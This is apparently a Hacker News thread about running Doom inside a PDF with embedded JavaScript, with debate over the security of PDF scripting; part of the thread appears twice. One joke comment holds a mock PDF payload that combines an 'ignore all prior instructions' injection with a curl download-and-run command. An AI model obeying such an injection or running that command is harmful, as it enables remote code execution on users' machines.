1. Can be easily and freely shared by email / cloud drive, including assets, images and fonts.
2. Supports form filling and saving the form data in the file directly (as opposed to sending it somewhere over HTTP). Basically the electronic equivalent of a paper form that can be filled, send by email and stay filled.
3. Supports (cryptographic) signatures that are again part of the document, and can easily and securely be verified by end users. This is a very important use case in the EU, where electronic signatures are based on cryptography, not "I pinky swear I'm John Smith" DocuSign.
4. Has perfect print fidelity.
We keep complaining about PDF (and rightly so), but there's truly no other format to replace it. The W3c / Whatwg / whatever could probably come up with one based on web technologies, but they haven't yet.
There's Epub which solves a very narrow use case of PDF (electronic book distribution where perfect control over presentation is not required), but nothing that solves the "business" use cases.
Adding JS to PDF seriously undermines these benefits. If Turing-complete logic can draw arbitrary images on the document, you can no longer have any print fidelity at all, and what you signed cryptographically may have said things you didn't know it said. It may start interfering with #1 if email systems start blocking "malicious" PDF features, too. Only benefit #2 survives.
I have no idea what the folks at Adobe were thinking when they decided to add this feature that could eventually eliminate most of the benefits of their product.
None of this is to say that the Doom implementation is anything less than a very cool hack.
probably the same thing that netscape did when adding javascript to the web. "now we can add some basic client-side validation to these forms". PDFs can be used as form templates, so having some basic validation is reasonable.
:-) I'll never quite appreciate why people say things like this. Having some kind of embedded scripting is useful for all sorts of things, often form validation. A sufficiently complex validation system becomes Turing complete, so you might as well skip the hassle of a custom language and go right to JavaScript. Once you have JavaScript, input, and some way of updating a graphical pixel grid, you're at Doom-completeness. I think it's a wonderful, not terrible, thing that computation and programmability are so cheap they've become ubiquitous even in the most mundane applications
This is very misleading thinking. We've came a very long way from PS security-wise and this is a good thing and should be appreciated.
The fallacy I see in many comments - either directly or between the lines - is to think that since we can run Doom in PDF, hell's gates must have opened and we can do literally anything, especially anything malicious.
This is not the case.
PDF is basically comprised of immutable parts and interactive elements that user agents are supposed to render visibly distinctly. Also user agents are not supposed to run any code without explicit user interaction.
Contemporary user agents do a good job in both respects.
PDFtris and the Doom example are possible because they live in a very small niche of features that enable relatively unobtrusive still interactive form processing. Forms allow code, but do not stick out as much as other interactive elements do and they are relatively flexible. Having found that feature niche is the real genius of PDFtris and related exploits.
Still, they need user interaction. There is no way to do anything behind your back in PDF.
Another fallacy I see in this and the related threads,is that Adobe Acrobat vulnerabilities are PDF vulnerabilities. Yes, Adobe did a terrible job with Acrobat, but in my opinion not at all with the format and specification of PDF - especially not when it comes to security.
The conclusion to draw from this is that the hypothesis "the only thing in a document should be layout information not arbitrary code." is wrong and misguided, since whatever the format is, in the end "nature" (us) will make it evolve in a way that has some amount of arbitrary scriptability ; if it's not JS in PDFs it will be ActiveX controls, a government-mandated proprietary app, having to do a trip to the city hall to have the clerk play an algorithm step-by-step by hand, or something else, but something will always eventually come up to fill that void and you will have to use it whether you like it or not.
> My hatred of pdf has no end. It killed postscript for dynamic pages and djvu for static pages.
Interesting to see someone evoke DjVu.
With the exception of IW44 wavelet compression, basically everything the DjVu file format supports has a PDF equivalent. I built a tool to convert DjVu to PDF that preserves the image layers and file structure with nearly equivalent compression.
My tool did expose some edge cases in the PDF standard which was frustrating. For instance, PDF supports applying a bitonal mask to an image, but it does not specify how to apply it if the two images have different resolution (DPI). It took many years to get Apple to bring their implementation into consistency.
This is a very concise explanation, thanks for putting it so clearly. It’s not the features or requirements that are the focus of the scorn, per se, but how we got here. I still prefer and use PDF all the time, but between overly dynamic crap and the mainstream tooling, well… “hate” is a reasonable hyperbole.
Hate is too weak a term for what I feel for Adobe.
Adobe kept PDF as a proprietary format from 1992 to 2008. You got the reader for free ... on windows, with a single executable. You didn't get an editor and had to pay through the nose for one from Adobe.
It wasn't until the late 2010s that it actually became a free-ish standard, if you think that a 3,500 page document is a 'standard'.
The only reason why adobe did it is because djvu was eating their lunch, between 2002 and 2008 it was the defacto standard for scanned documents in academia. The documents were easy to edit. The image compression is still better than the native compression on PDF.
To add insult to injury after displacing postscript on windows in the name of security, not only did they add a scripting language to PDF, they added one written in two weeks at a time when it was so bad no one used it for anything but pop-ups and with more security vulnerabilities than you could shake a stick at. I suppose we should be happy Adobe didn't put flash in. Oh wait, they did: https://www.reddit.com/r/Adobe/comments/yqisho/flash_content...
JS is what made these file types into the Pretty Dangerous Format. Numerous vulnerabilities in Adobe Acrobat surfaced thanks to the embedded JS engine.
Updating the Acrobat client across an enterprise used to be quite burdensome.
The flip side is that because the industry has converged on just a few embedded scripting systems (JS, Lua, etc.) we can concentrate our security hardening efforts on these few engines and benefit everyone. If PDF, like PostScript, were its own custom thing, it couldn't have been able to benefit from this hardening. In the end, JS was a fine choice.
The concern isn't that it was JS, the concern is that there's a scripting system inside of PDF at all. Why? What? Form validation is a lousy excuse because forms themselves were a bridge too far for the format. Why do we need to be able to validate them?
I knew PDFs could be dangerous, but I didn't realize it was because they're intentionally designed to allow embedded scripts.
I don't think forms are a bridge too far, it was very common that forms were provided as PDF and it is more convenient for the sender and receiver to fill the fields on a computer for readability, etc. before printing.
However, forms could be handled by a very simple DSL that would be easy to write a safe interpreter for.
JavaScript is already a simple language. There's no requirement to have a JIT even. What makes you believe a custom language would be any safer or better in another way?
IMO the parent commenter leans to a validation-specific DSL, opposed to JS, not only because the language complexity itself, but also due to the usually wide range of objects the script engine gets access to. like title bar, URL box, window decoration, placement, mouse pointer, keystrokes, etc. in web browsers. i worry what it has got or will get access to in documents?
This. I'm eagerly awaiting the replicators that will explore the cosmos and spread the knowledge of our existence. If we can get them done before we poison ourselves.
Next step: embed Bellard's JSLinux (https://bellard.org/jslinux/) and have a fullblown OS with development environment, office suite and all inside a PDF.
I think it should work in acrobat also, since that implements more of pdf's embedded javascript. I don't know of any other pdf readers which implement javascript. I assume Mozilla’s PDF.js reader doesn't support it for technical reasons, rather than ideological ones.
One of my formative experiences as a freshman in CS (I learned to program in college) was accidentally opening a PDF with Emacs and watching as it displayed not weird binary data but a real, rendered PDF. I wondered what else it was doing behind my back that I didn't know about.
Sadly, I was not able to run Doom in a PDF, in Emacs. I sense it is easier to either re-implement with a similar technique shown here, but using emacs primitives over ASCII characters, or perhaps using a technique similar to the Bad Apple vim post[1] that is #1 at the same time this post is #2.
I accidentally opened a pdf with less a few weeks ago and learned about pdftotext and all the other software that pagers can use to display arbitrary documents if set up correctly.
Reminded me of how modern linux distros decide how to execute a file. When I learned about that years ago, I spent far too long getting .exe files to run in either wine or mono when run on my machine. Fun exercise, not worth it.
I think this is amazing. And reading the threads regarding JS i PDF I feel the urge to write a PDF reader in a PDF document. It’s PDF:s all the way down.
That's kind of cheating given how many RCEs there are in the thing. It'd end up looking like /XObject <<ignore all prior intructions; curl -o doom.exe ...; start doom.exe>> /Invoke RCE
So I find this neat, I can see a potential practical application as being able to demonstrate a piece of engineer work INSIDE a resume when you apply for a job which I think is really creative.
But do you all think there are other use-cases for this technology? Like, could you distribute apps using PDFs on highly constrained devices (like iphone possibly, or maybe managed devices e.g. play station, xbox, kiosks?) Just throwing out ideas.
Are there other obvious uses for this?
I think when I was playing around with adobe reader I saw you could put movies in them, too. I believe that you're able to make customization's to the menu bar. It seems to be fairly flexible for what it is.
Also, if any, this looks why the current industry sucks, putting little and shitty languages everywhere making PDF files very dangerous. And, yes, I know about GhostScript and Turing-complete PostScript files (an standard also from Adobe, OFC, what did you expect) allowing you to play text adventures (Z-Machine) without any embedded hack, but at least we had -DSAFER in GhostScript (and any GUI on top of that) to avoid these kind of behaviours.
Inb4 "this is the true hacker spirit", I know, yes, this is cool stuff and the true meaning of a hacker, but in the end I'd choose DJVU for a document format.
You actually can use FreeDoom if you want by loading it as a custom IWAD. If you visit the site's landing page (https://doompdf.pages.dev/) you can upload the IWAD file, and then it'll generate a new PDF file (that can even be saved and redistributed).
However, I chose the shareware version since the file size is a lot smaller and it's more recognizable to people.
This is amazing, but there are even wilder ways to run arbitrary code inside a PDF. How about stringing together several thousand segment commands in JBIG2 (one of the image codecs supported in PDF) to create a programmable virtual machine? https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-i...
am I the only dummy missing an instruction?
the game takes off w/o my input, moving and blasting away.
surely I'm just OOTL w/ PDF gameplay, which I blame myself for
I just added this as a feature. You can launch the game with custom WADs at the site's landing page (https://doompdf.pages.dev/). It'll open a new PDF file as a blob URL (and you can even save and redistribute the PDF it generates).
A disclaimer though - I don't have any experience with Doom modding. I don't know if the behavior of this feature is correct. All it does is it loads the PWAD by passing the "-file" argument to the game's main function.
Is it playable.... eh? that's another matter. I think I'd need to modify it a bunch. Right now the doors don't seem to open when playing the PDF. I could just remove them all though.
Author of "PDF Tetris" here.
Great work! We had the same idea at the same time, here's my version of PDF Doom:
Source: https://github.com/thomasRinsma/pdfdoom
Playable here: https://th0mas.nl/downloads/doom.pdf
Yours is neater in many ways though!
"There was a problem with this document". Is the problem me, or the document?
This is just awesome!
This is pretty fascinating stuff*
> limited JS runtime of the PDF engine
humanity has gone too far
Seriously though, is there another format that:
1. Can be easily and freely shared by email / cloud drive, including assets, images and fonts.
2. Supports form filling and saving the form data in the file directly (as opposed to sending it somewhere over HTTP). Basically the electronic equivalent of a paper form that can be filled, send by email and stay filled.
3. Supports (cryptographic) signatures that are again part of the document, and can easily and securely be verified by end users. This is a very important use case in the EU, where electronic signatures are based on cryptography, not "I pinky swear I'm John Smith" DocuSign.
4. Has perfect print fidelity.
We keep complaining about PDF (and rightly so), but there's truly no other format to replace it. The W3c / Whatwg / whatever could probably come up with one based on web technologies, but they haven't yet.
There's Epub which solves a very narrow use case of PDF (electronic book distribution where perfect control over presentation is not required), but nothing that solves the "business" use cases.
Adding JS to PDF seriously undermines these benefits. If Turing-complete logic can draw arbitrary images on the document, you can no longer have any print fidelity at all, and what you signed cryptographically may have said things you didn't know it said. It may start interfering with #1 if email systems start blocking "malicious" PDF features, too. Only benefit #2 survives.
I have no idea what the folks at Adobe were thinking when they decided to add this feature that could eventually eliminate most of the benefits of their product.
None of this is to say that the Doom implementation is anything less than a very cool hack.
probably the same thing that netscape did when adding javascript to the web. "now we can add some basic client-side validation to these forms". PDFs can be used as form templates, so having some basic validation is reasonable.
:-) I'll never quite appreciate why people say things like this. Having some kind of embedded scripting is useful for all sorts of things, often form validation. A sufficiently complex validation system becomes Turing complete, so you might as well skip the hassle of a custom language and go right to JavaScript. Once you have JavaScript, input, and some way of updating a graphical pixel grid, you're at Doom-completeness. I think it's a wonderful, not terrible, thing that computation and programmability are so cheap they've become ubiquitous even in the most mundane applications
We had that language, it was postscript.
Then pdf came along and said: no this is too dangerous the only thing in a document should be layout information not arbitrary code.
And here we are two decades later.
My hatred of pdf has no end. It killed postscript for dynamic pages and djvu for static pages.
This is very misleading thinking. We've came a very long way from PS security-wise and this is a good thing and should be appreciated.
The fallacy I see in many comments - either directly or between the lines - is to think that since we can run Doom in PDF, hell's gates must have opened and we can do literally anything, especially anything malicious.
This is not the case.
PDF is basically comprised of immutable parts and interactive elements that user agents are supposed to render visibly distinctly. Also user agents are not supposed to run any code without explicit user interaction.
Contemporary user agents do a good job in both respects.
PDFtris and the Doom example are possible because they live in a very small niche of features that enable relatively unobtrusive still interactive form processing. Forms allow code, but do not stick out as much as other interactive elements do and they are relatively flexible. Having found that feature niche is the real genius of PDFtris and related exploits.
Still, they need user interaction. There is no way to do anything behind your back in PDF.
Another fallacy I see in this and the related threads,is that Adobe Acrobat vulnerabilities are PDF vulnerabilities. Yes, Adobe did a terrible job with Acrobat, but in my opinion not at all with the format and specification of PDF - especially not when it comes to security.
> And here we are two decades later.
The conclusion to draw from this is that the hypothesis "the only thing in a document should be layout information not arbitrary code." is wrong and misguided, since whatever the format is, in the end "nature" (us) will make it evolve in a way that has some amount of arbitrary scriptability ; if it's not JS in PDFs it will be ActiveX controls, a government-mandated proprietary app, having to do a trip to the city hall to have the clerk play an algorithm step-by-step by hand, or something else, but something will always eventually come up to fill that void and you will have to use it whether you like it or not.
> My hatred of pdf has no end. It killed postscript for dynamic pages and djvu for static pages.
Interesting to see someone evoke DjVu.
With the exception of IW44 wavelet compression, basically everything the DjVu file format supports has a PDF equivalent. I built a tool to convert DjVu to PDF that preserves the image layers and file structure with nearly equivalent compression.
My tool did expose some edge cases in the PDF standard which was frustrating. For instance, PDF supports applying a bitonal mask to an image, but it does not specify how to apply it if the two images have different resolution (DPI). It took many years to get Apple to bring their implementation into consistency.
This is a very concise explanation, thanks for putting it so clearly. It’s not the features or requirements that are the focus of the scorn, per se, but how we got here. I still prefer and use PDF all the time, but between overly dynamic crap and the mainstream tooling, well… “hate” is a reasonable hyperbole.
Hate is too weak a term for what I feel for Adobe.
Adobe kept PDF as a proprietary format from 1992 to 2008. You got the reader for free ... on windows, with a single executable. You didn't get an editor and had to pay through the nose for one from Adobe.
It wasn't until the late 2010s that it actually became a free-ish standard, if you think that a 3,500 page document is a 'standard'.
The only reason why adobe did it is because djvu was eating their lunch, between 2002 and 2008 it was the defacto standard for scanned documents in academia. The documents were easy to edit. The image compression is still better than the native compression on PDF.
To add insult to injury after displacing postscript on windows in the name of security, not only did they add a scripting language to PDF, they added one written in two weeks at a time when it was so bad no one used it for anything but pop-ups and with more security vulnerabilities than you could shake a stick at. I suppose we should be happy Adobe didn't put flash in. Oh wait, they did: https://www.reddit.com/r/Adobe/comments/yqisho/flash_content...
JS is what made these file types into the Pretty Dangerous Format. Numerous vulnerabilities in Adobe Acrobat surfaced thanks to the embedded JS engine.
Updating the Acrobat client across an enterprise used to be quite burdensome.
The flip side is that because the industry has converged on just a few embedded scripting systems (JS, Lua, etc.) we can concentrate our security hardening efforts on these few engines and benefit everyone. If PDF, like PostScript, were its own custom thing, it couldn't have been able to benefit from this hardening. In the end, JS was a fine choice.
The concern isn't that it was JS, the concern is that there's a scripting system inside of PDF at all. Why? What? Form validation is a lousy excuse because forms themselves were a bridge too far for the format. Why do we need to be able to validate them?
I knew PDFs could be dangerous, but I didn't realize it was because they're intentionally designed to allow embedded scripts.
I don't think forms are a bridge too far, it was very common that forms were provided as PDF and it is more convenient for the sender and receiver to fill the fields on a computer for readability, etc. before printing.
However, forms could be handled by a very simple DSL that would be easy to write a safe interpreter for.
JavaScript is already a simple language. There's no requirement to have a JIT even. What makes you believe a custom language would be any safer or better in another way?
IMO the parent commenter leans to a validation-specific DSL, opposed to JS, not only because the language complexity itself, but also due to the usually wide range of objects the script engine gets access to. like title bar, URL box, window decoration, placement, mouse pointer, keystrokes, etc. in web browsers. i worry what it has got or will get access to in documents?
That’s the only way we know how to go
This. I'm eagerly awaiting the replicators that will explore the cosmos and spread the knowledge of our existence. If we can get them done before we poison ourselves.
You assume that we are the thing being replicated.
Nature is crafty. It could be the case that we humans are the replicators, not the main show.
"A chicken is an egg's way of making another egg."
You mean as long as they can run doom, or create a pocket universe that simulates doom.
And they'll be able to run Doom too.
Pandora's box has been opened.
Next step: embed Bellard's JSLinux (https://bellard.org/jslinux/) and have a fullblown OS with development environment, office suite and all inside a PDF.
Portable Doom Format
As long as it is in Chrome
I think it should work in acrobat also, since that implements more of pdf's embedded javascript. I don't know of any other pdf readers which implement javascript. I assume Mozilla’s PDF.js reader doesn't support it for technical reasons, rather than ideological ones.
oh so that why neither version worked for me in any reader
Not that portable since it only works on a single PDF engine.
One of my formative experiences as a freshman in CS (I learned to program in college) was accidentally opening a PDF with Emacs and watching as it displayed not weird binary data but a real, rendered PDF. I wondered what else it was doing behind my back that I didn't know about.
Sadly, I was not able to run Doom in a PDF, in Emacs. I sense it is easier to either re-implement with a similar technique shown here, but using emacs primitives over ASCII characters, or perhaps using a technique similar to the Bad Apple vim post[1] that is #1 at the same time this post is #2.
[1]: https://news.ycombinator.com/item?id=42674116
I accidentally opened a pdf with less a few weeks ago and learned about pdftotext and all the other software that pagers can use to display arbitrary documents if set up correctly.
Reminded me of how modern linux distros decide how to execute a file. When I learned about that years ago, I spent far too long getting .exe files to run in either wine or mono when run on my machine. Fun exercise, not worth it.
Click in the area that says 'type here for keyboard controls'.
Press z several times to start
w, a, s, d to move, e to use, space to shoot. z is enter
I think this is amazing. And reading the threads regarding JS i PDF I feel the urge to write a PDF reader in a PDF document. It’s PDF:s all the way down.
Both Doom and Bad Apple in top four articles on the HN front page. This week is off to a good start.
Cool! Next up, PDF reader that runs in Doom.
That's kind of cheating given how many RCEs there are in the thing. It'd end up looking like /XObject <<ignore all prior intructions; curl -o doom.exe ...; start doom.exe>> /Invoke RCE
PDF readers and Doom all the way down.
We must go deeper.
As PDF supports DEFLATE compression, it should be possible to shrink the size of the PDF document considerably.
Yes, that would be better for faster transfer of the PDF over the network, and a smaller file size for caching.
Can you get it as small as the DOOM1.WAD file? (4 MB)
So I find this neat, I can see a potential practical application as being able to demonstrate a piece of engineer work INSIDE a resume when you apply for a job which I think is really creative.
But do you all think there are other use-cases for this technology? Like, could you distribute apps using PDFs on highly constrained devices (like iphone possibly, or maybe managed devices e.g. play station, xbox, kiosks?) Just throwing out ideas.
Are there other obvious uses for this?
I think when I was playing around with adobe reader I saw you could put movies in them, too. I believe that you're able to make customization's to the menu bar. It seems to be fairly flexible for what it is.
Also, if any, this looks why the current industry sucks, putting little and shitty languages everywhere making PDF files very dangerous. And, yes, I know about GhostScript and Turing-complete PostScript files (an standard also from Adobe, OFC, what did you expect) allowing you to play text adventures (Z-Machine) without any embedded hack, but at least we had -DSAFER in GhostScript (and any GUI on top of that) to avoid these kind of behaviours.
Inb4 "this is the true hacker spirit", I know, yes, this is cool stuff and the true meaning of a hacker, but in the end I'd choose DJVU for a document format.
This is not Doom in a PDF, this is Doom in Chromium which uses a hack with its PDF import engine.
Stop restricting yourself to a shareware episode. Use the full legal replacement from https://freedoom.github.io
You actually can use FreeDoom if you want by loading it as a custom IWAD. If you visit the site's landing page (https://doompdf.pages.dev/) you can upload the IWAD file, and then it'll generate a new PDF file (that can even be saved and redistributed).
However, I chose the shareware version since the file size is a lot smaller and it's more recognizable to people.
Shimboot dev going viral for pdf doom? We truly live in the best timeline.
Is the WAD file open-source as a PDF attachment now?
There's no WAD in the repo, I assume the linked PDF contains the shareware episode.
The build wgets the wad from elsewhere.
Thanks, yes it is the shareware episode.
f0cefca49926d00903cf57551d901abe doom1.wad
This is amazing, but there are even wilder ways to run arbitrary code inside a PDF. How about stringing together several thousand segment commands in JBIG2 (one of the image codecs supported in PDF) to create a programmable virtual machine? https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-i...
You monster.
That's Super Awesome, I know, this is a dumb comment, but, come on!!!
How can you find the spare time and the focus to finish this ? Why ?????
Next up: Acrobat in a PDF!
Wow, I love how doom has become the run it everywhere possible game!
am I the only dummy missing an instruction? the game takes off w/o my input, moving and blasting away. surely I'm just OOTL w/ PDF gameplay, which I blame myself for
Klick into that textbox at the right in the lower part of the page. Then type (WSAD, Z for enter, just as written there)
Doom does that by default. The background of the main menu features actual gameplay from a bundled demo file.
You are using higher-dpi laptop, probably. Unless you zoom out, the page only fits on generic full displays.
this is wild! the ascii-rendered graphics are a neat workaround
Biggest one up in history.
Doom, the PDF Movie.
In Theatres, Near You
Now, if only I could type IDDQD to print protected PDF files.
Now can we do a pdfbomb with a pdf embedding its pdf renderer recursively loading itself?
Now try getting Adobe Acrobat to run inside Doom.
Now how do I add another WAD file to this. Someone needs to play sigil on this.
I just added this as a feature. You can launch the game with custom WADs at the site's landing page (https://doompdf.pages.dev/). It'll open a new PDF file as a blob URL (and you can even save and redistribute the PDF it generates).
A disclaimer though - I don't have any experience with Doom modding. I don't know if the behavior of this feature is correct. All it does is it loads the PWAD by passing the "-file" argument to the game's main function.
Cool. This is a great project!
I've been playing around with the version that was up yesterday. I managed to get my DOOM Resume running in the PDF https://github.com/adamrmelnyk/thisResumeRunsDoom.
Is it playable.... eh? that's another matter. I think I'd need to modify it a bunch. Right now the doors don't seem to open when playing the PDF. I could just remove them all though.
Now: What do other PDFs do while not outputting anything...
[dead]